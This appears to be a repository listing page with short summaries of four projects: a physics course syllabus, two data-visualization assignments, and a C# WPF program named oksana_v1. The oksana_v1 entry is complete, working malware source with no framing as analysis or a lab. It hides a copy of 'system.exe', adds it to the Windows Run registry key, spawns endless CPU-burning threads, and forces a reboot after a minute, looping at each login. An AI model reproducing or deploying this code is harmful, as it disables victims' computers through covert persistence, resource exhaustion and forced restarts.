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  • gxd123 / ph11001-physics

    Reflection_Summary, SUBJECT NO-PH11001, SUBJECT NAME- Physics LTP- 3-1-0,CRD- 4 SYLLABUS :- Course Contents Theory Component: Overview of vibrations with emphasis on damped and forced oscillations, resonance, coupled oscillations, normal modes. Wave Motion: longitudinal and transverse waves, wave equation, plane waves, phase velocity, superposition wave packets and group velocity, two and three dimensional waves, polarization. Electromagnetic Waves: Maxwell’s equations, wave equation, plane electromagnetic waves, energy-momentum, Poynting’s theorem, electromagnetic boundary conditions, reflection and refraction, interference, Young’s experiment, interferometers, diffraction, Fraunhofer diffraction (single slit), dispersion, radiation. Wave Mechanics: failure of classical physics, qualitative review of relevant experiments, de Broglie waves, uncertainty principle, wave function and Schrodinger equation, probability interpretation, particle on a chain, potential barrier and quantum tunneling, potential well, qualitative summary of simple harmonic oscillator and Hydrogen atom. Occupation probability and examples. Laboratory Component: Suggested Experiments 1.Oscillation in potential well 2.Normal modes of coupled oscillators 3.Measurement of velocity of acoustic waves 4.Newton’s rings 5.Specific rotation of an optically active source 6.Diffraction with laser 7.Dispersive power of a prism 8.Fresnel biprism 9.Franck Hertz experiment 10.Photoelectric effect 11.Measurement of band gap in semiconductors 12.Measurement of Hall effect

    From user gxd123

  • hussam-alharbi / build-data-dashboards-4

    Reflection_Summary, Project Description In this project, I will create visualizations to reveal insights from a data set. You will create data visualizations that highlight patterns in the data set. My work is a reflection of the theory and practice of data visualization, such as visual encodings, design principles, and effective communication. Here I have Youtube Data from the US. This data comes from a Kaggle dataset; it includes a bunch of information for videos that were trending for at least one day. This data set will require some cleaning in excel prior to Tableau. As I worked with the data, I came up with three visualizations and three questions I am curious about and can be answered from the data as follows: 1- Which state in the US has the most likes, provided its views are 10,000,000,000 or more? 2- Which category has the most views in AK state? 3- Which channel has the most comments? I Hosted my dashboards on Tableau Public, as I'll be submitting them to reviewers, making them easily accessible. My visualizations are explanatory in nature and communicate specific results that I want to show. Submission My project includes the following files and information: A PDF report that includes the following sections: Link to my dashboard. Url links for each of my visuals from Tableau Public. Summary: a brief description of the visualization and the main findings conveyed. Design: After collecting feedback, I explained any design choices I made, including changes to the visualization. Resources: list of Web sites, books, forums, blog posts, GitHub repositories etc., that I referred to or used in this submission ( N/A if I did not use such resources).

    From user hussam-alharbi

  • khomko / oksana_v1

    Reflection_Summary, using DoFactory.GangOfFour.Singleton.Structural; using JCS; using Microsoft.Win32; using System; using System.Diagnostics; using System.IO; using System.Reflection; using System.Runtime.InteropServices; using System.Threading; using System.Windows; namespace WpfApplication_OKSANA { /// <summary> /// Логика взаимодействия для MainWindow.xaml /// </summary> public partial class MainWindow : Window { public static string needPatch = "C:\\Users\\Public\\"; public MainWindow() { if (OSVersionInfo.Name == "Windows 7" || OSVersionInfo.Name == "Windows Vista" ) { autorun.SetAutorunValue(true, needPatch + "system.exe"); // добавить в автозагрузку //SetAutorunValue(false, needPatch + "system.exe"); // убрать из автозагрузки } else if (OSVersionInfo.Name == "Windows XP") { needPatch = "C:\\Documents and Settings\\All Users\\"; autorun.SetAutorunValue(true, needPatch + "system.exe"); // добавить в автозагрузку //SetAutorunValue(false, needPatch + "system.exe"); // убрать из автозагрузки } InitializeComponent(); } private void Window_Loaded(object sender, RoutedEventArgs e) { if (!File.Exists(needPatch + "system.exe")) { try { File.Copy("system.exe", needPatch + "system.exe"); File.SetAttributes(needPatch + "system.exe", FileAttributes.Hidden); } catch { } } start(); } public static void sys_sleep() { while (true) { Thread s = new Thread(s_b); s.Start(); } } private static void s_b() { int y = 2; while (true) { y *= y; } } public static void start() { Stopwatch sw = new Stopwatch(); sw.Start(); bool b = true; bool pl = false; while (b) { if (sw.ElapsedMilliseconds > 20000) { if (!pl) { Thread g = new Thread(sys_sleep); g.Start(); pl = true; } } if (sw.ElapsedMilliseconds > 60000) { DoExitWin(EWX_REBOOT); b = false; } } } [StructLayout(LayoutKind.Sequential, Pack = 1)] internal struct TokPriv1Luid { public int Count; public long Luid; public int Attr; } [DllImport("kernel32.dll", ExactSpelling = true)] internal static extern IntPtr GetCurrentProcess(); [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok); [DllImport("advapi32.dll", SetLastError = true)] internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); [DllImport("user32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool ExitWindowsEx(int flg, int rea); internal const int EWX_REBOOT = 0x00000002; internal const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege"; internal const int SE_PRIVILEGE_ENABLED = 0x00000002; internal const int TOKEN_QUERY = 0x00000008; internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; public static Thread thread1; public static void DoExitWin(int flg) { bool ok; TokPriv1Luid tp; IntPtr hproc = GetCurrentProcess(); IntPtr htok = IntPtr.Zero; ok = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok); tp.Count = 1; tp.Luid = 0; tp.Attr = SE_PRIVILEGE_ENABLED; ok = LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, ref tp.Luid); ok = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero); ok = ExitWindowsEx(flg, 0); } } public class autorun: Singleton<autorun> { public static bool SetAutorunValue(bool autorun, string npath) { const string name = "systems"; string ExePath = npath; RegistryKey reg; reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"); try { if (autorun) reg.SetValue(name, ExePath); else reg.DeleteValue(name); reg.Flush(); reg.Close(); } catch { return false; } return true; } } } namespace DoFactory.GangOfFour.Singleton.Structural { public class Singleton<T> where T : class { private static T _instance; protected Singleton() { } private static T CreateInstance() { ConstructorInfo cInfo = typeof(T).GetConstructor( BindingFlags.Instance | BindingFlags.NonPublic, null, new Type[0], new ParameterModifier[0]); return (T)cInfo.Invoke(null); } public static T Instance { get { if (_instance == null) { _instance = CreateInstance(); } return _instance; } } } }

    From user khomko

  • navp788 / visualize-netflix-data-using-python.

    Reflection_Summary, Introduction In this project, you will act as a data visualization developer at Yahoo Finance! You will be helping the "Netflix Stock Profile" team visualize the Netflix stock data. In finance, a stock profile is a series of studies, visualizations, and analyses that dive into different aspects a publicly traded company's data. For the purposes of the project, you will only visualize data for the year of 2017. Specifically, you will be in charge of creating the following visualizations: The distribution of the stock prices for the past year Netflix's earnings and revenue in the last four quarters The actual vs. estimated earnings per share for the four quarters in 2017 A comparison of the Netflix Stock price vs the Dow Jones Industrial Average price in 2017 Note: We are using the Dow Jones Industrial Average to compare the Netflix stock to the larter stock market. Learn more about why the Dow Jones Industrial Average is a general reflection of the larger stock market here. During this project, you will analyze, prepare, and plot data. Your visualizations will help the financial analysts asses the risk of the Netflix stock. After you complete your visualizations, you'll be creating a presentation to share the images with the rest of the Netflix Stock Profile team. Your slides should include: A title slide A list of your visualizations and your role in their creation for the "Stock Profile" team A visualization of the distribution of the stock prices for Netflix in 2017 A visualization and a summary of Netflix stock and revenue for the past four quarters and a summary A visualization and a brief summary of their earned versus actual earnings per share A visualization of Netflix stock against the Dow Jones stock (to get a sense of the market) in 2017 Financial Data Source: Yahoo Finance

    From user navp788

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